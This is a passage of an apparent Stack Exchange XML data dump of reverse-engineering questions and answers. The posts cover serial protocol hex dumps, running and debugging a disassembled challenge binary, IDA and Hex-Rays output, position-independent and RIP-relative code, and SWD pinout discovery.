23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 9F D8 40 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;AB E5 A7 CD 01 00 79 31 0F 40 4F 24 50 05 A0 00 A0 0A 79 35 0F 40 4F 0A&#xA;79 36 0F 40 4F 24 50 05 A0 14 F0 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 A0 28 78 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;D0 E5 A7 CD 01 00 79 31 2F 40 4F 24 50 05 A0 4E C0 B3 79 35 2F 40 4F 79 36 2F 40 4F 24 50 05 A0 4F 88 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;46 46 00 63 88 0F A0 0F A0 0F A0 00 00 00 00 00 00 24 50 05 A0 62 AC 07 79 36 2F 40 4F 24 50 05 A0 63 10 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 A0 76 98 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;3F 00 9D 00 23 00 02 00 00 79 36 0F 40 4F 24 50 05 A0 8A 20 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;00 79 36 0F 40 4F 24 50 05 A0 9D A8 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;79 36 0F 40 4F 24 50 05 A0 B1 30 00 23 00 23 00 23 00 23 00 22 00 22 00 22 00 21&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice to understand how data is structured?&lt;/p&gt;&#xA;" OwnerUserId="23321" LastEditorUserId="23321" LastEditDate="2018-02-16T23:43:28.943" LastActivityDate="2018-02-16T23:43:28.943" Title="serial protocol patterns" Tags="|serial-communication|protocol|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17483" PostTypeId="1" CreationDate="2018-02-16T21:38:43.203" Score="3" ViewCount="1352" Body="&lt;p&gt;I am working on a HEX string, which I figured out is a binary. I would like some pointers on what to do next after I have disassembled from hex to assembly. I'm just assuming that the architecture is possibly x86 and used onlinedisassembler.com to convert to assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can run/debug using gdb? It's a challenge, so I would need to either run the assembly, debug it or do a static analysis and find out what's happening! Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disassembled code looks something like this (not sharing the whole thing, just first two lines):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                       .data:00000000 77 90                            ja     0xffffff92&#xA;                       .data:00000002 97                               xchg   edi,eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23323" LastActivityDate="2018-03-23T15:35:15.737" Title="Disassembling Hex to assembly, then what?" Tags="|disassembly|hex|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17484" PostTypeId="2" ParentId="17483" CreationDate="2018-02-16T22:27:02.690" Score="3" Body="&lt;p&gt;Write a program that would load that binary data to memory and jump with the execution to that area. If everything you assume is correct it will get executed (w/o problems) and you would be able to debug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really naïve loader might look like this (no error checking):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;sys/mman.h&amp;gt;&#xA;&#xA;int main() {&#xA;    FILE *fp = fopen(&quot;data&quot;, &quot;rb&quot;);&#xA;&#xA;    fseek(fp, 0, SEEK_END);&#xA;    int size = ftell(fp); //size of you data&#xA;    rewind(fp);&#xA;    void *data = mmap(NULL, size, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);&#xA;&#xA;    fread((void*)data, 1, size, fp);&#xA;    typedef void (*exec_func)(void);&#xA;    ((exec_func)data)();&#xA;&#xA;    fclose(fp);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if you data is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hexdump data&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000 9090 0090                              &#xA;0000003&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the it will execute 3x&lt;code&gt;nop&lt;/code&gt; and crash.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2018-02-17T07:15:37.677" LastActivityDate="2018-02-17T07:15:37.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17485" PostTypeId="1" AcceptedAnswerId="17486" CreationDate="2018-02-17T08:43:03.140" Score="1" ViewCount="155" Body="&lt;p&gt;I'm trying to understand how function calls are represented in Hex Rays' pseudocode, especially if the call expects pointers to objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I'm looking at a line of code in a function called &lt;em&gt;MyObject1::Start()&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;MyObject2::doSomething(*((_DWORD *)this + 38), (char *)this + 104);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean, it calls the function &lt;em&gt;doSomething&lt;/em&gt; of &lt;em&gt;MyObject2&lt;/em&gt; and passes two references to members of &lt;em&gt;MyObject1&lt;/em&gt; as arguments?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case, how can I identify these passed members? E.g. what's meant by &quot;this + 38&quot;?&lt;/p&gt;&#xA;" OwnerUserId="23329" LastActivityDate="2018-02-17T11:51:46.117" Title="Object references representation in pseudocode" Tags="|ida|decompilation|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17486" PostTypeId="2" ParentId="17485" CreationDate="2018-02-17T11:51:46.117" Score="2" Body="&lt;p&gt;this+38 and this+104 are most likely data members of the current object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can figure out what they mean by looking up the context in which they are used.&lt;br&gt;&#xA;Take this code for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int a;&#xA;for(int i = 0;i &amp;lt; strlen(this+38); i++){&#xA;   if((this+38)[i] == 'a'){&#xA;      a++&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To figure out what's a, you need to see in what context it is used. Here you can clearly see that a is being incremented every time the character 'a' appears in (this+38), from that you can infer that (this+38) is a char array and that a variable counts how many 'a' appear in this+38 (string)&lt;/p&gt;&#xA;" OwnerUserId="21707" LastActivityDate="2018-02-17T11:51:46.117" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17487" PostTypeId="1" AcceptedAnswerId="17488" CreationDate="2018-02-17T19:07:38.580" Score="1" ViewCount="1067" Body="&lt;p&gt;In a huge ELF binary, I find some functions which use some kind of (string) constant. The constant itself seems to be stored inside the binary itself but I can't figure out, how to resolve IDA's disassembly result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:096B3D58 lea     eax, (stru_8199A2C.st_shndx+1 - 96B3D47h)[ebx]&#xA;.text:096B3D5E push    eax             ; char *&#xA;.text:096B3D5F push    edx             ; this&#xA;.text:096B3D60 call    _ZN11NameDB7resolveEPKc ; NameDB::resolve(char const*)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is to understand the source of the LEA instruction. For me it reads like &quot;the symbol at 0x96B3D47 bytes prior to the symbol table index&quot;. Strangely enough, the position 096B3D47 is just a few lines above the above excerpt...&lt;/p&gt;&#xA;" OwnerUserId="23329" LastActivityDate="2018-02-18T13:07:16.580" Title="How to find ELF symbol table reference?" Tags="|ida|elf|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17488" PostTypeId="2" ParentId="17487" CreationDate="2018-02-18T13:07:16.580" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Strangely enough, the position 096B3D47 is just a few lines above the above excerpt...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... and the instruction before that address is a &lt;code&gt;call&lt;/code&gt; instruction. Right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This kind of instructions is used for &lt;em&gt;position-independend code&lt;/em&gt;: The code can be loaded into another address and it will work the same way without modifications. Typically it works like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    call some_address                         ; 1&#xA;some_address:&#xA;    pop ebx                                   ; 2&#xA;    lea eax, (some_text - some_address)[ebx]  ; 3&#xA;    ...&#xA;some_text:&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;After the &lt;code&gt;call&lt;/code&gt; instruction the address of the instruction after the &lt;code&gt;call&lt;/code&gt; instruction will have been pushed to the stack. This means that the address &lt;code&gt;some_address&lt;/code&gt; is now on the stack.&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;code&gt;pop&lt;/code&gt; we read the address of &lt;code&gt;some_address&lt;/code&gt; from the stack (and remove it from there).&lt;/li&gt;&#xA;&lt;li&gt;This instruction will calculate &lt;code&gt;some_text - some_address + someaddress&lt;/code&gt; so the instruction has the same effect as &lt;code&gt;lea eax, [some_text]&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The distance &lt;code&gt;some_text - some_address&lt;/code&gt; is always the same when the executable file is loaded into different memory addresses. Therefore the &lt;code&gt;lea&lt;/code&gt; instruction will work independently on the location (address) where the program is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same is true for the &lt;code&gt;call&lt;/code&gt; instruction because the argument of the &lt;code&gt;call&lt;/code&gt; instruction is stored PC-relative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The argument of the instruction &lt;code&gt;lea eax, [some_text]&lt;/code&gt; however would be an absolute (not a PC-relative) address so you would have to exchange it when executing the program at another address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For me it reads like &quot;the symbol at 0x96B3D47 bytes prior to the symbol table index&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If there is a relocation table entry for the &lt;code&gt;lea&lt;/code&gt; instruction the disassembler could take the information from the relocation table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case this seems to be different:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your disassembler seems also to be intelligent enough to see that &lt;code&gt;ebx&lt;/code&gt; contains the address 096B3D47 at this point. Therefore it will know that the  instruction &lt;code&gt;lea eax, XYZ[ebx]&lt;/code&gt; will result in a value of &lt;code&gt;096B3D47+XYZ&lt;/code&gt; in the &lt;code&gt;eax&lt;/code&gt; register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore it will disassemble the instruction as &lt;code&gt;lea eax, ((XYZ+096B3D47)-096B3D47)[ebx]&lt;/code&gt; and tries to find out what symbol the address &lt;code&gt;XYZ+096B3D47&lt;/code&gt; is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many disassemblers I know however only guess here; they assume that the address belongs to the last symbol before that address. And in your case the symbol &lt;code&gt;stru_8199A2C.st_shndx&lt;/code&gt; seems to be that symbol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously your disassembler does not only evaluate symbols but also debugging information such as &quot;Dwarf&quot; debugging data (which contains information used by debuggers).&lt;/p&gt;&#xA;" OwnerUserId="23338" LastActivityDate="2018-02-18T13:07:16.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17489" PostTypeId="2" ParentId="17479" CreationDate="2018-02-18T21:15:40.093" Score="1" Body="&lt;p&gt;Keep in mind that Lua doesn't have a standard specification. Even a specific version might be implemented in various different ways. Lua is a scripting language, it doesn't care as much about what goes on under the hood as long as the car runs ya know? They may implement it differently.&lt;/p&gt;&#xA;" OwnerUserId="23343" LastActivityDate="2018-02-18T21:15:40.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17490" PostTypeId="1" AcceptedAnswerId="17492" CreationDate="2018-02-18T21:17:47.107" Score="1" ViewCount="842" Body="&lt;p&gt;I've been working on a project on an IBM POWER8 system. I'd like to translate some very simple binaries from x86-64 to PPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool that can either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Translate the binary from x86-64 to PPC (similar to how Apple Rosetta did PPC to x86-64)&lt;/li&gt;&#xA;&lt;li&gt;Decompile the x86-64 binary into C code (doesn't need to be human readable) so that I can recompile it on a PPC system&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd love to know if there's any other way to get that done as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Also, I'm not comfortable using commercial software, but am okay with closed-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="23344" LastEditorUserId="23344" LastEditDate="2018-02-18T22:38:53.557" LastActivityDate="2018-02-18T22:38:53.557" Title="Tools to translate x86-64 ELF to PPC (or i386 decompilation)" Tags="|disassembly|decompilation|disassemblers|decompiler|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17491" PostTypeId="1" AcceptedAnswerId="17505" CreationDate="2018-02-18T21:22:59.237" Score="1" ViewCount="392" Body="&lt;p&gt;While reverse engineering a game using the Hex Rays decompiler I was looking for how an array of NPC's was accessed. I found the array but I don't quite understand the unusual formula for getting the index of the NPC. First an integer is &lt;code&gt;&amp;amp;&lt;/code&gt; with &lt;code&gt;0xFFF&lt;/code&gt; then the result is multiplied by 4 to get the index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dword_1F4A8A5C[4 * (v3 &amp;amp; 0xFFF)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm really not sure if this is standard or if it's weird output from the Hex Rays decompiler. If anyone has an explanation please let me know. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="23343" LastActivityDate="2018-02-20T15:52:10.997" Title="Odd convention for accessing elements of an array?" Tags="|ida|c++|c|hexrays|array|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17492" PostTypeId="2" ParentId="17490" CreationDate="2018-02-18T21:34:12.440" Score="3" Body="&lt;p&gt;For 1, there is &lt;a href=&quot;https://www.qemu.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;QEMU&lt;/a&gt; which can be built for PPC and supports i386 and x86-64 emulation. If you run Linux, there may already be a precompiled package available for your distro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2, there &lt;em&gt;are&lt;/em&gt; some decompilers which can produce C pseudocode from x86-64 binaries. Alternatively, tools like &lt;a href=&quot;https://github.com/trailofbits/mcsema&quot; rel=&quot;nofollow noreferrer&quot;&gt;McSema&lt;/a&gt; can perform &lt;em&gt;lifting&lt;/em&gt; to LLVM bitcode which can then be recompiled to PPC (in theory).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-02-18T21:34:12.440" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17493" PostTypeId="1" CreationDate="2018-02-18T21:44:14.333" Score="-1" ViewCount="723" Body="&lt;p&gt;I have 5K .exe files from different sources like C and C++. I want to Dis-assamble them into .asm file using IDA Python. Consider this .exe file opened in IDA with text view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QhMHc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QhMHc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want this &quot;Assembly&quot; code but using Python script so that i can loop it on all exe files and save it in their respective .asm file. Anyone having a code to start-with will be a great help. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="23345" LastActivityDate="2018-02-19T09:36:53.037" Title="Dis-assamble .exe file to .asm in IDA Python" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="3" ClosedDate="2018-02-22T10:20:15.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="17496" PostTypeId="1" CreationDate="2018-02-19T05:12:12.737" Score="0" ViewCount="875" Body="&lt;p&gt;I'm looking at a 64bit PE file in IDA. The instructions below access unknown data at offset &lt;code&gt;20030&lt;/code&gt;. Usually when I look at 32bit PE files, the offset is also listed next to the opcodes on the left. So normally it would be &quot;opcode&quot; &quot;offset address little endian&quot;. In this example, the bytes after the opcode don't equal &lt;code&gt;0x20030&lt;/code&gt;. They are &lt;code&gt;0x10EE5B0D&lt;/code&gt;. Any idea why not? Is there any way to identify the &lt;code&gt;0x20030&lt;/code&gt; offset? IDA clearly knows where the data is because its naming it &lt;code&gt;&quot;unk_180020030&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000001800011CE 48 8D 0D 5B EE 01 00    lea rcx, unk_180020030&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23350" LastEditorUserId="60" LastEditDate="2018-02-19T09:33:30.147" LastActivityDate="2018-02-19T09:33:30.147" Title="IDA Pro 64bit offset and opcode issue" Tags="|ida|pe|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17497" PostTypeId="2" ParentId="17496" CreationDate="2018-02-19T08:27:20.727" Score="3" Body="&lt;p&gt;As you showed us, the opcodes  &lt;code&gt;48 8D 0D 5B EE 01 00&lt;/code&gt; are translated by IDA to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; lea rcx, unk_180020030&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how does IDA recognizes this address? Well it's all about relative offsets. These opcodes are truly translated into the following assembly. I used &quot;&lt;a href=&quot;https://radare.gitbooks.io/radare2book/content/rasm2/intro.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;rasm2&lt;/a&gt;&quot; from radare2 framework but you can use any other (&lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm#disassembly2&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;) option (&lt;a href=&quot;https://onlinedisassembler.com/odaweb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;2&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ rasm2 -b 64 -d 488D0D5BEE0100&#xA;lea rcx, [rip + 0x1ee5b]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;0x1ee5b&lt;/code&gt; (and not &lt;code&gt;0x10EE5B0D&lt;/code&gt;) is relative, in this case, to the &lt;code&gt;RIP&lt;/code&gt; register. Since it's the Instruction Pointer, you can tell that RIP would be equal to &lt;code&gt;0x1800011CE&lt;/code&gt; which is the address of the instruction you showed us. Simply add &lt;code&gt;0x1ee5b&lt;/code&gt; to it and you'll get the address that IDA calculated.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-02-19T08:27:20.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17498" PostTypeId="2" ParentId="17493" CreationDate="2018-02-19T09:36:53.037" Score="1" Body="&lt;p&gt;Alas the Freeware version does not support IDAPython or any plugins other than those shipped with it. If you need to automate your disassembly, buy the full version.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-02-19T09:36:53.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17499" PostTypeId="1" AcceptedAnswerId="17774" CreationDate="2018-02-19T17:14:42.190" Score="1" ViewCount="1229" Body="&lt;p&gt;I am looking for a good &quot;disassembler&quot; for JavaScript, like IDA Pro but for JS. I am looking at a chrome extension, but the JavaScript is heavily obfuscated. After deobfuscating, I am left with variable and function names like &quot;_0xa893x5&quot;. This is using jsbeautifier.org; other deobfuscators give error. This unintuitive syntax makes it more than a little different to follow the program; is there a tool like IDA for Javascript where I can graphically trace the flow of the program from function to function?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="23356" LastActivityDate="2018-03-22T20:47:24.827" Title="IDA Pro Alternative for JavaScript?" Tags="|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17501" PostTypeId="1" CreationDate="2018-02-19T18:25:33.420" Score="5" ViewCount="1712" Body="&lt;p&gt;When trying to access firmware, JTAG and SWD can be really helpful to the reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When looking at an unknown board/device tools such as &lt;a href=&quot;https://github.com/cyphunk/JTAGenum&quot; rel=&quot;noreferrer&quot;&gt;JTAGEnum&lt;/a&gt; or &lt;a href=&quot;http://www.grandideastudio.com/jtagulator/&quot; rel=&quot;noreferrer&quot;&gt;JTAGulator&lt;/a&gt; are really helpful in identifying JTAG pinouts or pads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What techniques exist for enumerating or identifying SWD pinouts?&lt;/p&gt;&#xA;" OwnerUserId="22707" LastActivityDate="2018-05-29T06:14:49.497" Title="How to identify SWD (Serial Wire Debug) pinout?" Tags="|hardware|serial-communication|jtag|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17502" PostTypeId="2" ParentId="17158" CreationDate="2018-02-19T21:30:10.893" Score="3" Body="&lt;p&gt;This issue is now fixed and you should be able to load the firmware with the command line you tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check out the recent addition to the r2 documentation for more details about 8051 support.&#xA;&lt;a href=&quot;https://github.com/radareorg/radare2book/blob/master/arch/8051.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radareorg/radare2book/blob/master/arch/8051.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23360" LastEditorUserId="23360" LastEditDate="2019-11-08T21:22:37.020" LastActivityDate="2019-11-08T21:22:37.020" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17503" PostTypeId="1" CreationDate="2018-02-20T12:27:39.987" Score="1" ViewCount="308" Body="&lt;p&gt;In C a static function is scoped to a source file so you can have multiple static functions with the same name as long as they are in different files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does IDA have a way to express this or do I have to add a prefix to names myself? I know I can mark functions as being static and associate a sourcefile with a range (using &lt;code&gt;add_sourcefile&lt;/code&gt;) but this doesn't seem to resolve naming conflicts.&lt;/p&gt;&#xA;" OwnerUserId="15658" LastActivityDate="2018-02-20T19:17:49.770" Title="How should I name static functions in IDA?" Tags="|ida|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17504" PostTypeId="1" AcceptedAnswerId="17507" CreationDate="2018-02-20T15:10:02.640" Score="-1" ViewCount="156" Body="&lt;p&gt;ive started studying reverse engineering, and in a binary i am trying to reverse i stumbled upon an unusual(to me) line of assembly in IDA PRO. and it looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00000000008A1C21                 mov     r8d, ds:(off_8A40FC - 400000h)[rcx+rax*4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so i know that it moves something into the r8 register which is the size of a dword, but i do not understand what it moves into it ? something from the data segment, but im clueless as of how to interpret it, any help would be great.&lt;/p&gt;&#xA;" OwnerUserId="23364" LastActivityDate="2018-02-20T17:43:25.650" Title="What does this line of assembly do ? how am i to interpret it?" Tags="|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17505" PostTypeId="2" ParentId="17491" CreationDate="2018-02-20T15:52:10.997" Score="2" Body="&lt;p&gt;It looks like that it is array of structures, where &lt;code&gt;v3&lt;/code&gt; is an index and &lt;code&gt;0xfff&lt;/code&gt; is used to avoid overflow.&#xA;I'd suggest that the array was originally defined with size &lt;code&gt;0x1000&lt;/code&gt;. The size of a structure should be 4 dwords.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-02-20T15:52:10.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17506" PostTypeId="2" ParentId="17499" CreationDate="2018-02-20T17:18:56.547" Score="0" Body="&lt;p&gt;I recommend using an IDE such as WebStorm or Eclipse. You will be able to rename variables and functions, navigate to definitions and find cross-references.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2018-02-20T17:18:56.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17507" PostTypeId="2" ParentId="17504" CreationDate="2018-02-20T17:43:25.650" Score="1" Body="&lt;p&gt;What the assembly is doing is subtracting &lt;code&gt;0x400000&lt;/code&gt; from the offset &lt;code&gt;0x8A40FC&lt;/code&gt; giving &lt;code&gt;0x4A40FC&lt;/code&gt;, then using the new address at memory address &lt;code&gt;[rcx+rax*4]&lt;/code&gt;. I recommend studying the assembly more, this is a bad question as its not giving full detail on what &lt;code&gt;rcx&lt;/code&gt;, and &lt;code&gt;rax&lt;/code&gt; is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy hacking! :-)&lt;/p&gt;&#xA;" OwnerUserId="22194" LastActivityDate="2018-02-20T17:43:25.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17508" PostTypeId="2" ParentId="17503" CreationDate="2018-02-20T17:46:56.863" Score="1" Body="&lt;p&gt;If I am understanding you correctly, what you're looking for is this IDA plugin...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for api_row in api_matrix:&#xA;    l = api_row[0]&#xA;    print l&#xA;    apis = api_row[1:]&#xA;    for api in apis:&#xA;        ref_addrs = CodeRefsTo(LocByName(api),0)&#xA;        for ref in ref_addrs:&#xA;            func_addr = LocByName(GetFunctionName(ref))&#xA;            func_name = GetFunctionName(ref)&#xA;            if l not in func_name:&#xA;                MakeNameEx(func_addr , l + '_' + func_name , SN_NOWARN)&#xA;&#xA;print &quot;complete&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Credits goes to: &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.fr/2012/06/automated-generic-function-naming-in.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://hooked-on-mnemonics.blogspot.fr/2012/06/automated-generic-function-naming-in.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend reading that article to learn how to use it. ^&lt;/p&gt;&#xA;" OwnerUserId="22194" LastEditorUserId="22194" LastEditDate="2018-02-20T19:17:49.770" LastActivityDate="2018-02-20T19:17:49.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17511" PostTypeId="1" CreationDate="2018-02-21T05:55:38.333" Score="2" ViewCount="889" Body="&lt;p&gt;I've made a very trivial C program which throws a struct on the heap and then diassembled it. Surprisingly, IDA Pro actually identified the struct as soon as I added it by name using the Structures tab. However, when I try to label the struct in the disassembly code, it only gives me the option of parsing the first member, even for subsequent members. In this example, the first structure member is called &lt;code&gt;name&lt;/code&gt; and the second, &lt;code&gt;age&lt;/code&gt;, third &lt;code&gt;hair_color&lt;/code&gt;. But as you see in screenshot 2, I've already labeled the first member of the struct, but when I try to use the &lt;code&gt;T&lt;/code&gt; hotkey to label the &lt;code&gt;age&lt;/code&gt; and &lt;code&gt;hair_color&lt;/code&gt;, it only gives me the option to keep labeling everything as PERSON.name. Why is this and how can I properly label these members?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more specific: I would expect to label the first member as &quot;name&quot; and have IDA automatically label the remaining members properly due to their offsets in relation to &quot;name&quot;/the beginning of the PERSON struct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3ZNv1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ZNv1.png&quot; alt=&quot;Struct def&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/m4hor.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m4hor.png&quot; alt=&quot;struct in code&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2018-02-21T06:07:14.420" LastActivityDate="2018-06-26T22:00:03.307" Title="How to properly label ALL structure members of C-style struct in IDA Pro" Tags="|ida|struct|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
